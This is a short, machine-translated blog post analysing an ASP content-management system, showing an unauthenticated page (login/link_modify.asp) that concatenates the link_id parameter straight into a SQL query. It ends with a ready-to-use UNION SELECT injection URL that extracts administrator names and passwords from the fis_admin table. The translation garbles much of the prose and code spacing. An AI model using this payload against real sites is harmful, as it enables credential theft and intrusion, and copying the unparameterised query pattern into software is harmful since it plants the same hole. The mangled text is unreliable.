Blog: http://www.jshell.cn published in chicken hair IT tide community http://www.jbmao.com
First, let's talk about the wrong sequence of the author's code in the program.
<! -- # Include file = "../conn. asp" -->
<%
If session ("adminuser") = "" then
Response. Redirect ("login. asp ")
End if
%>
<% @ LANGUAGE = "VBSCRIPT" CODEPAGE = "936" %>
<! DOCTYPE html PUBLIC "-// W3C // dtd xhtml 1.0 Transitional // EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<Html xmlns = "http://www.w3.org/1999/xhtml">
<% @ LANGUAGE = "VBSCRIPT" CODEPAGE = "936" %>
In this case, the program uses the default vbscript
Don't use this sentence, and it can only be placed at the top of the Code.
The vulnerability is found in the file system, file system, and login/link_modify.asp.
Session verification is not followed here:
<%
Linkid = request ("link_id ")
If linkid <> "then
Set linkrs = server. CreateObject ("adodb. recordset ")
Sqllink = "select * from fis_links where link_id =" & linkid
Linkrs. open sqllink, conn, 1, 3
%>
Typically, the number of link IDs in the table cannot be injected. A total of six fields are displayed on the page.
The rs output of the field content. Therefore, we use the Combined Query to directly crack the problem.
Http: // 127.0.0.1/Sox/login/link_modify.asp? Link_id = 8% 20and % 201 = 2% 20 union % 20 select % 201, admin_name, admin_pass, 6%, 20 from % 20fis_admin